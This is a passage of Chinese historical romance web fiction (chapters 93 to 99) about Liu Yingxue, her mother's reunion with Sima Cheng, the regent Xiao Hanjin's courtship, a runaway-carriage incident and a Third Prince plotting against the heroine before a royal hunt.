“哎哎,朱大小姐还记得老奴呐。”管家笑得合不拢嘴,眼角的皱纹都舒展开来,“这些年,老奴时常想着,不知大小姐过得可好。” “管家伯伯待雅芸极好,这些年我时常想起。”朱雅芸声音微微有些哽咽,“记得当年我初来府上时,总是笨手笨脚的,多亏了管家伯伯处处照应。” 司马澄温声道:“雅芸,进府吧。”他的目光温柔地落在朱雅芸身上,仿佛要将这些年的思念都倾注其中。 朱雅芸点点头,脸颊微红。她发现自己在这个男人面前,仍会不自觉流露出少女般的羞涩。时光荏苒,物是人非,可他对自己的影响却从未改变。 “叔父,娘亲,我约了友人在凤栖楼,就不进府了。”柳映雪说着,冲两人眨了眨眼睛,眼中闪烁着狡黠的光芒,“娘亲,下午我来接您。” 看着女儿匆匆离去的背影,朱雅芸无奈地摇头:“这孩子,还是这般莽撞。”话语中却满是宠溺。 “当年你也是这样。”司马澄目光温柔,“记得你第一次来府上,就是这般风风火火地闯进来,差点撞倒了门口的花瓶。” “我才没有!”朱雅芸嗔道,眼中却闪过一丝怀念,“那时候年纪小,不懂事。” 进了府邸,朱雅芸看着熟悉的摆设,心头一暖。檀木桌上的青瓷花瓶,窗边的紫檀木架,还有那副她最喜欢的山水画,一切都和记忆中一模一样。这些年,他竟还记得她的喜好。 第九十四章 两情相悦 管家见朱雅芸东张西望,笑着解释道:“少爷说,这些都不许动,要留着等小姐回来。” 朱雅芸眼眶微红,心中五味杂陈。想起在丞相府的日子,她总是小心翼翼,处处迁就。每日战战兢兢,生怕做错什么惹人不快。那些年,她把自己活成了一个影子,连呼吸都要掂量着。 司马澄看出她的心事,轻声道:“尝尝这糕点,是从云州带来的。”他亲手为她斟了一杯茶,“这是你最爱的桂花茶。” “这些糕点可是少爷特意去买的。”管家在一旁笑眯眯地说道,“少爷说朱大小姐最爱吃云州的点心,特意托人从那边带来的。” 朱雅芸捧着茶杯,温热的触感从指尖传来,“阿澄,谢谢你还记得。”她低声说道,声音里带着些许哽咽。 “过去的事不必再提。”司马澄温声安慰,“你我能在此相聚,便是最好的安排。”他的声音温和,却带着不容置疑的坚定。 这一刻,朱雅芸再也忍不住,泪水夺眶而出。在丞相府时受的委屈,她从不曾在人前流露。每次受了委屈,都是一个人躲在房里默默流泪。可在这个男人面前,她终于可以卸下所有伪装。 司马澄让人退下,轻轻拭去她的泪水:“雅芸,有什么委屈,就哭出来吧。这里只有你我二人。”他的声音轻柔,仿佛在安抚一只受惊的小鹿。 朱雅芸靠在他怀里,泪水打湿了他的衣襟。多年来积压的委屈和痛苦,在这一刻终于找到了宣泄的出口。她想起那些不堪的往事,想起柳昌泰的冷眼,想起丞府众人的嘲讽。 “这些年,我时刻关注着你。”司马澄轻抚她的后背,声音里带着压抑的愤怒,“看你受苦,我恨不得杀了柳昌泰。但我怕连累你和雪儿,只能按捺住。如今你们已经和离,我定要让他付出代价。” 朱雅芸抬头,急声道:“阿澄,不要去招惹他。我们已经和他没有任何关系了,何必再生事端。”她的眼中带着恳求,“我只想和你平平安安地过日子。” 司马澄点头应允,雅芸受的委屈,他不会轻易放过。但现在,他不想让她担心。 他端来清水,为她擦拭红肿的眼睛。朱雅芸感受着他的温柔,心中涌起一股暖意。这样的温柔,是她在丞相府十几年都未曾感受过的。 “雅芸,我们回云州成亲可好?”司马澄轻声问道,“那里山清水秀,是个适合安居的好地方。” 朱雅芸迟疑片刻:“阿澄,世伯他...”她担心司马老爷子会反对。毕竟她是个带着孩子的和离女子,配不上司马家的嫡子。 “父亲那边你不用担心。”司马澄握住她的手,“这些年,他也一直惦记着你。常说当年要是由着我的意思就好了。” 司马澄从袖中取出一封信,轻轻放在她手中。信封上是他父亲熟悉的字迹,边角已经有些泛黄。 “这是我离开云州时,父母给我的回信。”他柔声说道,“你看看吧。” 朱雅芸接过信件,手指微微发抖。她小心翼翼地展开信纸,目光落在那一行行工整的字迹上。 信中字字真挚,情真意切。司马老爷子写道他们一直把雅芸当成自家孩子,经历磨难更让他们心疼。司马老夫人更是直言要他们母女搬回云州,说司马家就是她们的依靠。 泪水模糊了朱雅芸的视线,她用手背擦了擦眼睛,却怎么也止不住泪水。 “你看,父母早就把你当成自家人了。”司马澄心疼地将她搂入怀中,“他们知道你的善良,知道你的不易。” 朱雅芸靠在他胸前,听着他有力的心跳声。泪水浸湿了他的衣襟,她轻声啜泣:“我从未想过...从未想过还能遇到这样的好人...” “傻瓜。”司马澄轻抚她的后背,“你值得世间所有的美好。” 门外传来脚步声,管家端着茶盘走进来,看到这一幕连忙退了出去。司马澄却已经松开了朱雅芸,转身走向小厨房。 “走,我去给你做鱼。”他回头朝她笑道,“你最喜欢的清蒸鲈鱼。” 朱雅芸擦干眼泪,跟着他走进厨房。阳光透过窗户洒在案板上,司马澄正在熟练地处理着鱼。 “你先把姜切片。”他头也不抬地说道。 朱雅芸应了一声,拿起案板上的生姜。两人在厨房里忙碌,不时传出轻声的交谈和笑语。 司马澄细心地为她挑刺,朱雅芸则在一旁打下手。她看着他认真的侧脸,心中涌起一阵暖意。这个男人总是这样,把最好的都给了她。 门外的管家看着这温馨的一幕,不禁露出欣慰的笑容。少爷终于找到了属于自己的幸福。 另一边,柳映雪带着丫鬟来到凤栖楼时,楼下已经站满了看热闹的人。她皱了皱眉,正要上楼,就听见一个熟悉的声音。 “姐姐!”东玉琳从人群中挤出来,一把抓住她的手,“你可算来了!” 玉太子也快步走来,神色凝重:“柳大小姐,本太子有要事相告。” 三人来到楼上雅间,丫鬟们守在外面。柳映雪坐在窗边的位置,看着楼下熙熙攘攘的人群。 “玉太子有何要事?”她淡然问道,目光依旧望着窗外。 “是关于萧寒瑾的事。”玉太子正色道,“西幽国公主此次来访,是冲着萧寒瑾而来。她想要嫁给他。” 东玉琳坐在一旁,担忧地看向柳映雪:“姐姐,那位公主可不简单。听说她在西幽国手段狠辣,不少与她作对的人都...” 柳映雪转过头,目光平静:“只要萧寒瑾不同意,她再厉害又如何?” “本太子是担心...”玉太子话未说完,窗外一道黑影闪过。 萧寒瑾轻巧地落在窗台上,他身上还穿着朝服,显然是刚从朝堂上下来。他大步走到柳映雪身边坐下,目光温柔地看着她。 “本王的王妃说得对。”他的声音带着笑意。 玉太子和东玉琳不约而同地往旁边挪了挪。这位摄政王的占有欲他们可是领教过的。 第九十五章 我能治 “雪儿,怎么不去王府找我?”萧寒瑾语气中带着一丝委屈,“我等了你一上午。” 柳映雪看了他一眼:“怕打扰你处理公务。” “有你在,哪里是打扰。”萧寒瑾握住她的手,“走,陪我去看看受伤的属下,然后回王府喝鸡汤。厨房已经炖好了。” 柳映雪想起什么:“好,先去看看他的伤势。.” 玉太子和东玉琳看着两人你来我往的对话,空气中弥漫着若有若无的暧昧气息。他们对视一眼,心中已然明了 - 那位西幽公主,怕是没什么机会了。 “时候不早了,我们该走了。”萧寒瑾站起身,目光温柔地看向柳映雪。 柳映雪点点头,裙摆轻扬间带起一阵淡雅的香气。她起身时不经意瞥见玉太子眼中闪过的遗憾之色,嘴角不禁勾起一抹浅笑。 “柳姑娘慢走。”玉太子拱手,语气中带着几分不舍,“只是...那飞镖...” “改日吧。”柳映雪轻声应道,眼中带着几分促狭,“太子殿下若是真想见识,不如改日来王府。” 东玉琳在一旁撇了撇嘴:“玉太子,你那消息来得太迟了,柳姐姐早已知道了。” “迟也是消息不是?”玉太子嘴角含笑,眼中闪烁着狡黠的光芒,“本太子好歹也是帮了大忙。” 东玉琳懒得理会他这副得意的模样,径直朝楼下走去。楼梯间传来她清脆的脚步声,还夹杂着裙摆摩擦的窸窣声。 “喂,你这丫头!”玉太子连忙追上去,声音中带着几分慌乱,“怎能不经主子允许就走了?本公子今日还要游玩呢。” 马车内,柳映雪靠在软垫上,透过车窗看着街边熙攘的人群。她忽然转头,眼带笑意看着萧寒瑾:“刚才东玉琳说西幽国公主生得极美,听说还擅长诗词歌赋。” 萧寒瑾正在翻阅手中的公文,闻言头也不抬:“与我何干?” 柳映雪一时语塞,本想逗他几句,却被他这般正经的态度堵了回来。车厢内一时安静下来,只听得见马蹄声和外面的喧嚣。 “雪儿,”萧寒瑾忽然放下手中的公文,神色认真地看着她,“他人如何与我无关,我心中眼里只有你一人。她们再美又怎样?在我看来,都及不上你万分之一。” 他伸手轻轻抚上她的脸颊,声音低沉而温柔:“我只盼你快快长大,让我把你娶回王府,我才能安心。” 柳映雪听得面颊微红,连忙转移话题:“各国使臣是不是快到青云国了?听说今年规模不小。” 萧寒瑾看着她害羞的模样,宠溺的笑了笑。距她及笄还有大半年,他已开始着手准备大婚事宜。如今他体内毒素已清,若陛下还不安分,那个位置换个主人也未尝不可。 “还有十日左右。”他收回手,语气恢复了往日的平静,“今年到来的大多是皇室之人,与往年不同。今早朝上有大臣提议,年宴前在御林狩猎园举办雪猎。” “他们是怕这些皇子公主在城中生事吧?”柳映雪笑道“把人都赶到围场去,等狩猎结束正好赶上年宴,然后打发他们回国。倒是个好主意。” “确实有这层考虑。”萧寒瑾点头,“尤其是玉太子和西幽二皇子,皇上那边必定已收到密报。这两人在各自国中都不是省油的灯。” 马车缓缓停在药坊前,门口几个病人见到王府的马车,纷纷退避。绿竹早已等在门口,恭敬地打开车门。 二楼上,陶大君正缠着绿竹询问那瓶药的来历。老人家满脸激动,胡子都在颤抖:“这药方太过神奇,老夫行医数十年,从未见过如此奇效。那位老神医可愿收徒?老夫愿意以最大的诚意求教。” 绿竹被问得额头冒汗,连连摆手:“这个...这个...” 见王爷到来,绿竹如蒙大赦,忙躲到一旁。未经王爷允许,他如何敢提王妃的事。 “属下见过王爷,柳大小姐。” 陶大君见王爷身边带着女子,大为震惊。他记得王爷向来不喜女子近身,怎么今日... “老夫见过王爷。”陶大君连忙行礼,目光却忍不住打量着柳映雪。 “这位是本王未来的王妃,柳大小姐。”萧寒瑾淡淡开口,语气中却带着几分炫耀的意味。 陶大君更是震惊,王爷竟已有了未来王妃?他仔细打量着柳映雪,见她气质不凡,举止优雅,倒也配得上王爷的身份。 双方见礼后,萧寒瑾问起绿雪的情况。 “回王爷,绿雪服药后好转许多。”陶大君激动地说道,“那药丸神奇非常,若能用于将士们身上,定能减少许多牺牲。老夫行医多年,从未见过如此神效的药物。” “本王先进去瞧瞧。” 柳映雪暗暗点头,这老大夫倒是有颗赤诚之心,想的都是将士们的安危。 房内,绿雪面色苍白,眼神黯淡。见到萧寒瑾欲起身,被绿竹按住。 “好好休息。”萧寒瑾语气温和。 “谢王爷。”绿雪心中苦涩,他已成废人,再难追随王爷左右。那只断裂的手,怕是这辈子都好不了了。 柳映雪上前为其诊脉,纤细的手指轻轻搭在绿雪的手腕上。片刻后,她开口道:“他这手筋能够治,需我为其缝合,固定一月后方可慢慢恢复。切记不可操之过急。” 绿雪闻言,原本黯淡的眼神瞬间亮了起来。待知道眼前这位是未来王妃,更是激动得说不出话来。 陶大君惊诧道:“缝合?这是何意?如缝制衣裳般?老夫从未听说过这等医术。” “可以这么说,就是将断裂的筋接续。”柳映雪耐心解释,“只要手法得当,断裂的筋脉是可以重新连接的。” “这...这还能接?”陶大君震惊得连连摆手,“老夫行医数十年,从未听闻此法。就连悬壶山庄中人也不知晓这等技术。” 柳映雪来了兴趣:“悬壶山庄?那是何处?里面全是神医?” 她暗自琢磨,要不要与那里的神医切磋一番。若是有什么独特的医术,倒是可以学来用在军中。 第九十六章 悬壶山庄 “雪儿,悬壶山庄中人并非尽是神医,那华神医便是出自此处。”萧寒瑾适时提醒。 柳映雪顿觉无趣。若都如华神医那般水平,那还是算了。连萧寒瑾身上的毒都解不了,有何可比。她撇了撇嘴,目光中带着几分不屑。 “那谷主如何?”她随口问道。 “谷主甚少露面,多在教授弟子。谷中事务都由大弟子打理。”萧寒瑾解释道,“这次年宴,悬壶山庄也有人来,是为进献丹药。” “丹药?”柳映雪眼中闪过一丝异色。她想起自己空间中那些药材,若是能与悬壶山庄的丹药比较一番,倒是个不错的机会。 萧寒瑾从怀中取出一个小瓷瓶,倒出一粒丹药,递给柳映雪“你看看,这就是他们所献的养元丹” 柳映雪接过丹药。她看着手中的丹药,指尖微微摩挲着瓷瓶光滑的表面,心中暗自思量。那位高高在上的皇帝,怕是不知道这养元丹的副作用有多大。服用之后,不仅会让五脏六腑受损,更会让精神逐渐衰弱。也不知是真想长生,还是急着去见阎王爷。 陶大君站在一旁,目光在王爷和王妃之间来回游移。他在王府多年,从未见过王爷对谁如此耐心。平日里王爷向来是个寡言之人,能说出一句完整的话都难得,更别说是为人解释什么。可今日,王爷不仅主动开口,还详细解释了许多。看来这位王妃在王爷心中的分量,确实与众不同。 “柳大小姐...”一道沙哑的声音打断了陶大君的思绪。绿雪半靠在床头,脸色苍白如纸,眼中却带着一丝希冀,“属下的手,当真还能痊愈吗?” 他的声音有些颤抖,像是不敢相信这个事实。那双布满老茧的手此刻无力地搭在被子上,曾经灵活的手指已经僵硬变形。 柳映雪转身看向他,目光落在他那双饱经沧桑的手上。“只需依照我所说的去做,定能恢复如初。”她的语气坚定,不带一丝犹豫。 绿雪眼眶瞬间湿润,喉结滚动几下,似乎在压抑着什么。他原以为这辈子再也不能为王爷效力,没想到还有重获新生的机会。那双布满血丝的眼睛死死盯着柳映雪,生怕错过任何一个细节。 “你先好好休息。”柳映雪柔声说道,“明日我再来为你治疗。” “多谢柳大小姐!”绿雪声音哽咽,想要起身行礼,却被柳映雪轻轻按住肩膀。 “不必客气。”柳映雪摆摆手,转向一旁的陶大君,“这房间需要彻底清理,用白酒擦洗每一个角落。床铺要用白布严密围起来,布上也要喷洒白酒。” 她暗自思忖,若条件不够,只能冒险带他去空间治疗了。感染的风险绝对不能冒,一旦出现感染,后果不堪设想。 陶大君听着柳映雪的吩咐,不住地点头。突然,他像是下定了什么决心,向前迈了一步。“柳大小姐,老夫能否在旁学习?”他眼中闪烁着期待的光芒,像个求知若渴的学童。 “若你能按要求准备妥当,自然可以。”柳映雪淡淡道。 “好好好!老夫这就去准备!”陶大君欣喜若狂,脸上的皱纹都舒展开来。他搓着手,又小心翼翼地问,“那些药丸,都是柳大小姐亲手炼制的?” 见柳映雪点头,陶大君立刻上前作揖,动作恭敬至极。 柳映雪连忙后退一步,有些诧异于陶大君的举动。 “老夫斗胆,不知道柳大小姐是否愿意收我为徒?”陶大君声音微颤,“柳大小姐医术高超,老夫实在佩服。这些年来,老夫自认医术还算不错,可今日一见,才知天外有天。” “陶大君言重了。”柳映雪连忙摆手,“我还年轻,有很多不懂的地方。不如以后互相切磋,共同进步。” 陶大君虽有遗憾,但能与柳大小姐探讨医术,也是难得的机会。他连连点头,脸上笑意不减。 “雪儿,该用午膳了,我们回府吧。”萧寒瑾开口道,声音低沉悦耳。 “好。”柳映雪应声,暗自叹息。虽然没吃到期待已久的全鱼宴,但王府的鸡汤也不错。想到这里,她的心情稍微好转了些。 两人刚出药坊,街道上突然传来一阵惨叫声,紧接着是马蹄声由远及近。 抬头望去,只见一辆失控的马车正朝这边疾驰而来,车轮碾过地面发出刺耳的声响。车厢里传出尖锐的女子惊叫声,马儿受惊后更加狂躁,速度越来越快。 柳映雪刚要从袖中取出银针,腰间已被一只有力的手臂揽住。萧寒瑾动作迅速,带着她闪到一旁的屋檐下。他的动作看似随意,却将柳映雪牢牢护在怀中,不让她受到丝毫伤害。 绿风身形如电,几个起落间已跃上马背。他死死拽住缰绳,试图控制住受惊的马儿。马儿前蹄高扬,发出一声声嘶鸣。绿风一边轻声安抚,一边控制着力道,终于让马儿渐渐平静下来。 周围响起一片掌声,路人纷纷称赞绿风的身手。 柳映雪默默收起银针,萧寒瑾仍将她护在怀中,冷眼看向那辆险些酿成祸事的马车。 马车上走下几个人,为首的正是皇后侄女卢芷柔。她面色苍白,衣裙有些凌乱,对着众人连连福身道歉。“是奴家的马车差点伤到诸位,实在抱歉。若有损失,奴家一定赔偿。” 柳映雪看着这一幕,嘴角微勾。这卢芷柔果然擅长做表面功夫,装得楚楚可怜,轻易就能赢得众人好感。只是这马车失控,怕是另有隐情。 “感谢摄政王的救命之恩。”卢芷柔走近,对萧寒瑾福身。她的目光在萧寒瑾俊美的面容上停留片刻,又迅速低下头,像是不敢直视。 “本王可并没有施救于你。”萧寒瑾语气冰冷,连看都没看她一眼。 卢芷柔神色一僵,随即转向绿风道谢。 “不必客气。”绿风淡淡道,目光锐利地扫过卢芷柔身后的随从,“若不是怕撞到药坊,在下也不会动手。你们连个能驾驭马车的车夫都找不到,为何还要外出?” 第九十七章 卢芷柔的心思 柳映雪赶紧把脸埋进萧寒瑾怀里,肩膀不住颤抖。这绿风说话太过直白,她快忍不住笑出声来了。 卢芷柔脸色微变,强撑着解释道:“是车夫突然晕倒,马儿才会失控...” “是吗?”绿风冷笑一声,“那车夫人呢?” 卢芷柔张了张嘴,一时语塞。她身后的丫鬟连忙道:“车夫摔下马车后就跑了,我们也不知去向。” “有趣。”绿风意味深长地看了眼马车,“一个晕倒的人,还能跑得这么快?” 周围的人群开始窃窃私语,有人说这其中必有蹊跷,有人说卢小姐在说谎。 卢芷柔脸色越发难看,她咬着唇,眼中泛起泪光。“奴家真的不知道发生了什么,求王爷明察。” “本王没兴趣知道你在打什么主意。”萧寒瑾冷冷开口,“不过下次若再让本王遇到类似的事,就别怪本王不客气。” 柳映雪被萧寒瑾揽在怀中,她能清晰地感受到他身上传来的温度。他的手臂有力而温暖,给人一种无与伦比的安全感。 她偷偷抬眼,看到萧寒瑾眼中流露出的宠溺与温柔。那双平日里冷若冰霜的眸子此刻却如晓水般温柔,让她不由得看得入了神。他俊美的侧颜格外迷人,高挺的鼻梁投下一道阴影,薄唇微抿,透着几分性感。 这一幕恰好被卢芷柔看在眼里。她的手指不自觉地攥紧了衣袖,指节泛白。从小在宫中长大的她,对摄政王再熟悉不过。每次宫宴,她都能远远地望见那道清冷孤傲的身影。那个永远冰冷疏离,不近女色的摄政王,此刻却对一个女子如此温柔。 她急忙低下了头,掩饰着眼中的复杂情绪。她白皙的脸庞显得有些苍白,眼底闪过一丝难以察觉的痛楚。她深吸一口气,努力让自己的声音听起来平静如常。 “草民悬壶山庄弟子,见过摄政王。”两名女子正要跪拜,却被绿风拦住。 “街上人多,两位姑娘免礼。”萧寒瑾的声音温和有礼,却带着几分疏离。 柳映雪好奇地打量着这两位悬壶山庄的弟子。一位身着淡紫色长裙,眉目温婉;另一位穿着浅绿色衣裳,面容清秀。两人年纪看起来比她大不了多少,其中穿绿衣的女子面带羞红,时不时偷瞄萧寒瑾。 “柳大小姐。”卢芷柔温婉一笑,眼波流转间带着几分亲近,“宴会之后我们还未好好叙话,不如...” “不必了。”萧寒瑾淡淡开口,声音中带着不容置疑的威严,“雪儿受了惊吓,需要休息。绿风,备车。” 柳映雪配合地把脸埋在他胸前,装出一副受惊的模样。她能感受到他胸膛传来的震动,显然是在笑她这小女儿态。萧寒瑾低头看着她,眼中满是宠溺,伸手轻轻抚了抚她的发丝。 日光将两人的身影拉得很长,交织在一起,显得格外亲密。萧寒瑾小心翼翼地将她扶上马车,动作轻柔得仿佛在对待什么稀世珍玉。 看着远去的马车,卢芷柔她紧咬着下唇,指甲深深陷入掌心。她太了解摄政王了,那个对任何女子都冷若冰霜的男人,为何会对柳映雪如此特别? 记忆中的萧寒瑾永远是那般清冷疏离,即便是在宫宴上,也从不与任何女子多说一句话。可如今,他却对一个与丞相府断绝关系的弃女如此温柔。这让她心中泛起一阵苦涩,如同吞下了一颗苦果。 “卢大小姐,那位是...”悬壶山庄的仇巧儿忍不住问道,声音中带着几分好奇与不屑。 “那位是柳大小姐,未来的摄政王妃。”卢芷柔温声道,嘴角挂着得体的微笑,“只是她如今已与丞相府断绝关系,也算是个可怜人。” 仇巧儿撇了撇嘴唇,“大街上就这般亲密,成何体统。若是传出去,岂不是有损王爷的威名?” “三师妹!”仇双儿连忙呵斥,眉头紧皱,“柳大小姐受了惊吓,王爷照顾也是应该的。你这般说话,未免太过失礼。” 仇巧儿不服气地撇了撇嘴,却也不敢再多说什么。她偷偷打量着卢芷柔,见她面色如常,心中更是疑惑。难道这位卢大小姐对摄政王当真一点心思都没有? 这时,一个跛脚的车夫跪在卢芷柔面前,额头紧贴地面,声音颤抖,“大小姐饶命,都是老奴驾车不当,让马受了惊...” 卢芷柔脸上露出一丝狠厉之色,随即又恢复温柔,声音轻柔得如同晓风拂面,“你且起来,回去领罚便是。速速让人送新车来接两位贵客。” “多谢大小姐开恩!”车夫连连磕头,额头都磕出了血。 待车夫离开,仇双儿提起要去摄政王府见师叔的事。她的声音清亮,带着几分期待,“不知王府在何处,可否请人带路?” “不如让芷柔带路吧,”卢芷柔温婉一笑,眼波流转间尽是温柔,“我对王府熟悉,可以带两位去。” 仇巧儿眼前一亮,她倒要看看,那个柳映雪有什么特别之处,能让摄政王如此对待。她暗暗打量着卢芷柔,心中已有了计较。 马车内的空气微微凝滞,细小的尘埃在阳光下缓缓浮动。车厢里弥漫着一股若有若无的檀香,那是从萧寒瑾身上传来的。 柳映雪望着窗外掠过的景色,目光落在路边一簇盛开的野花上。她微微侧头,发髻上的珠钗随着马车的晃动轻轻摇曳。 “萧寒瑾,”她轻声开口,语气中带着几分试探,“悬壶山庄的弟子都这般年轻吗?” 萧寒瑾正在翻阅手中的医书,听到问话,他修长的手指在书页上顿了顿。阳光透过车窗洒在他俊美的侧颜上,勾勒出一道柔和的轮廓。 “悬壶山庄门外弟子众多,遍布各地,但亲传弟子不过十人。”他合上书册,目光落在柳映雪精致的面容上,“大徒弟医术最为精湛,其余师弟师妹的日常教导多由他负责。” 第九十八章 一同用膳 柳映雪微微颔首,纤细的手指无意识地摩挲着衣袖上的刺绣。这位谷主倒是会偷懒,把教徒弟的重任都推给大弟子了。她心中暗自思忖,却没有说出口。 马车缓缓驶过街道,两旁商铺林立,行人如织。远处传来叫卖声,混杂着孩童的嬉闹声,构成了一幅热闹的市井图景。几个探子躲在暗处,目送着这辆普通的马车驶向摄政王府。 当马车最终停在书房外时,柳映雪已经能闻到院中桂花的香气。她扶着萧寒瑾递来的手,轻盈地走下马车。裙摆在风中微微荡漾,像是一朵随风起舞的云。 书房内陈设简单却不失典雅,一张乌木书案上摆放着各类卷宗。柳映雪的目光却立即被桌上的箭弩吸引。那是一把经过改良的弩机,造型精巧,做工考究。 她走近细看,手指轻轻抚过弩机表面的纹路。“这改良得很巧妙,”她由衷赞叹,“既增加了射程,又减轻了重量。” 萧寒瑾站在她身后,目光柔和:“雪儿果然眼光独到。” 绿风在这时推门而入,手中托着几个精致的食盒。“王爷,午膳已备好。” 萧寒瑾亲自为柳映雪拉开座椅,动作优雅而自然。阳光透过窗棂洒在案几上,为眼前的美食镀上一层金边。 “雪儿,来用膳。”他的声音温和,带着几分宠溺。 柳映雪在他身旁坐下,看着他为自己布菜的动作。他修长的手指执着筷子,将一块块鲜嫩的鱼肉夹入她碗中。 她抿了一口鲜美的鸡汤,温热的汤汁滑过喉咙,带来一丝暖意。此刻,娘亲应该也在与司马叔父共进午膳吧? 果然,此时的朱氏正沐浴在幸福的氛围中。宽敞的厅堂里,司马澄为她准备了五种不同口味的鱼,还有诸多精致菜肴。案几上的菜品色香俱全,令人食指大动。 “阿澄,”朱氏看着碗中堆满的鱼肉,柔声劝道,“你也该用膳了,我这碗都快装不下了。” 司马澄放下手中的筷子,眼中满是温柔:“雅芸,你要多吃些。这些日子你消瘦了不少。” 朱氏抬头看他,眼中泛起淡淡的笑意:“与雪儿一同用膳后,我的胃口确实好了许多。”她夹起一块鱼肉,细细品味着其中的滋味。 “雅芸,”司马澄放缓语气,“新府邸已经收拾妥当。年节将至,不知可否带雪儿一同去云州?” 朱氏的筷子微微一顿,眼中闪过一丝犹豫:“雪儿如今已指婚给摄政王,宫中年宴怕是推脱不得。”她低头搅动着碗中的汤水,心中五味杂陈。 就在此时,绿风匆匆入内,脸上带着几分急色:“王爷,悬壶山庄两位弟子与卢大小姐求见。” 萧寒瑾抬眸看向柳映雪,后者轻轻摇头。 “让华神医出去应付便是。”萧寒瑾淡淡道,语气中带着不容置疑。 卢芷柔站在王府门外,脸上的笑容渐渐僵硬。寒风吹起她的裙摆,也吹散了她的一腔期待。她本想借机进府,却不想连府门都进不得。 三皇子府中,气氛凝重。萧生玉正与三皇子密谈,烛火在风中摇曳,在墙上投下摇晃的影子。 “三哥,”萧生玉端起茶盏,“户部尚书已是我们的人,朝中形势大好。” 三皇子坐在主位上,目光深邃:“生玉功不可没。”他看着这位得力助手,眼中满是欣慰。 “三哥知我所求。”萧生玉放下茶盏,嘴角勾起一抹淡然的笑意。 “放心,”三皇子沉声道,“待大事已成,必放你寻访心上人。” 就在此时,一名侍卫匆匆入内,脸上带着惊慌之色:“殿下,丞相府出事了!那十万两黄金和二十万两银票,竟在一夜之间化为虚无!” 消息如同一颗重磅炸弹,在室内炸开。三皇子的脸色瞬间阴沉,茶盏重重落在案几上,发出一声闷响。 萧生玉眯起眼睛,他站起身,走到窗前。院中的梅花含苞待放,却衬得他的心情愈发阴郁。 “还有此事?”三皇子眉头紧锁,手指无意识地敲击着檀木桌面。 萧生玉站在一旁,神色凝重。他注意到三皇子眼底闪过的阴霾,那是一种令人不寒而栗的冷意。“不仅如此,柳丞相那张二十万两的银票,也成了一张废纸。这件事说来蹊跷” “有意思。”三皇子冷笑一声,起身踱步至窗前。庭院内的梅树在风中摇曳,零星的花瓣飘落在积雪上,如血般刺目。“那柳大小姐,当真是深藏不露啊。” “三哥所言极是。”萧生玉压低声音,“我派人暗中盯着柳府,这些日子倒是发现些许异常。柳大小姐每日除了去药坊看望母亲,便是在家中读书作画,看似寻常,却总让人觉得哪里不对劲。” 三皇子转身,目光如炬,“不对劲?何处不对劲?” “说不上来。”萧生玉皱眉,“就好比那日赏梅宴上,她随口吟出百首绝句,可第二日,那些诗作竟凭空消失。驸马府上下翻遍了也寻不到半点痕迹。” 房内一时陷入沉默。烛火跳动,在地上投下两道长长的影子。 “生玉。”三皇子忽然开口,声音里带着一丝寒意,“你说,若是这柳大小姐突然...消失了,会如何?”说着,他做了个抹脖子的手势。 萧生玉心头一震,连忙上前几步,“三哥慎言!今日得到消息,九皇叔与柳大小姐同现药坊。更要紧的是...”他顿了顿,“卢芷柔的马车受惊时,是九皇叔亲自将她护在怀中。” “什么?”三皇子脸色骤变,一掌拍在桌上,茶盏震得跳起,茶水溅出。“九皇叔?那个向来不近女色的九皇叔?” “正是。”萧生玉叹了口气,“九皇叔此举,已说明了许多。他看向柳大小姐的眼神,与往日大不相同。” 第九十九章 皇家狩猎 三皇子在椅上重重坐下,眼中阴晴不定。良久,他才开口:“这柳大小姐果真不简单。若贸然对她出手,怕是还未动手,就会被九皇叔察觉。” “三哥英明。”萧生玉附和道,“只是不知,九皇叔对她,是一时兴起,还是...” 话未说完,外头忽然传来急促的脚步声。一名侍卫匆匆进来,跪地禀报:“殿下,刚收到消息,皇上有意在月底举办皇家狩猎,各国使臣皆会参加。” 三皇子眼中精光一闪,“狩猎?好啊,正好借此机会...”他站起身,负手而立,“生玉,你说,若是在狩猎时出些意外,该当如何?” 萧生玉心领神会,“三哥的意思是,借他人之手?” “不错。”三皇子冷笑,“若是我们亲自出手,怕是会惹来不必要的麻烦。但若是在混乱中...” 与此同时,摄政王府。 暖阁内,炭火熊熊燃烧,驱散了雪日的寒意。柳映雪正与萧寒瑾相对而坐,两人谈论着朝中大事。她时而提出见解,每每令萧寒瑾眼前一亮。 “各国使臣来访,最该防备的是西域。”柳映雪轻抿一口茶,目光沉静,“他们表面恭敬,实则野心勃勃。尤其是那位西域大使,据说此人精通毒术。” 萧寒瑾微微点头,目光中带着赞许,“雪儿说得对。西域近年来屡屡挑衅边境,确实不可不防。不过...”他停顿片刻,“你如何知道西域大使精通毒术?” 柳映雪心头一跳,连忙转移话题,“听闻边境将士缺少御寒物资,不知可有解决之法?” 萧寒瑾若有所思地看了她一眼,并未追问,“已命人筹备雪衣和干粮,近日就会送往边关。” 两人又谈及军事布防。每当柳映雪提出建议,萧寒瑾总会认真思索,往往能从中获得启发。不知不觉,天色已晚。 “该去接娘亲了。”柳映雪起身告辞,裙摆在地上划出优美的弧度。 “我送你。”萧寒瑾站起身,目光温柔地注视着她。 走出暖阁,寒风扑面而来。柳映雪不禁缩了缩脖子,萧寒瑾见状,立刻解下自己的披风为她披上。 “司马叔父对娘亲真好。”想起司马叔父哄母亲的情形,柳映雪不禁莞尔。 萧寒瑾看着她明媚的笑容,心中一动,“雪儿,待我们成婚后,我定会待你更好。” 柳映雪俏脸微红,低下头不敢看他。这些日子,她分明感觉到,自己对萧寒瑾的心意在悄然改变。那道筑在心中的高墙,正在一点点坍塌。 马车缓缓驶来,萧寒瑾亲自扶她上车。就在这时,一阵急促的马蹄声由远及近。 “摄政王殿下!”一名侍卫翻身下马,“皇上有旨,月底将举办皇家狩猎,请殿下务必参加。” 萧寒瑾眉头微皱,转头看向柳映雪,“雪儿也会收到邀请,到时...” “我知道。”柳映雪轻声道,“我会小心的。” 看着马车渐渐远去,萧寒瑾的目光渐渐变得深邃。 暮色四合,柳映雪带着丫鬟踏着青石板路缓步走进府邸。远远地,前厅传来娘亲爽朗的笑声,那笑声中透着几分久违的轻松与愉悦。 她放慢脚步,驻足在廊下。月色朦胧,将前厅的灯影拉得很长。透过窗棂的缝隙,她看到朱氏与司马叔父相对而坐,两人神态自若地品茶谈笑。娘亲眉眼弯弯,脸上洋溢着幸福的笑容,那是她记忆中从未见过的表情。 “小姐,要进去吗?”身旁的丫鬟轻声问道。 柳映雪微微颔首,整理了一下衣裙。她不忍心打扰这温馨的氛围,却又不得不进去。 “雪儿来了。”朱氏眼尖,一眼就看到了站在门口的女儿。她放下手中的茶盏,目光中满是关切,“怎么这么晚才回来?” 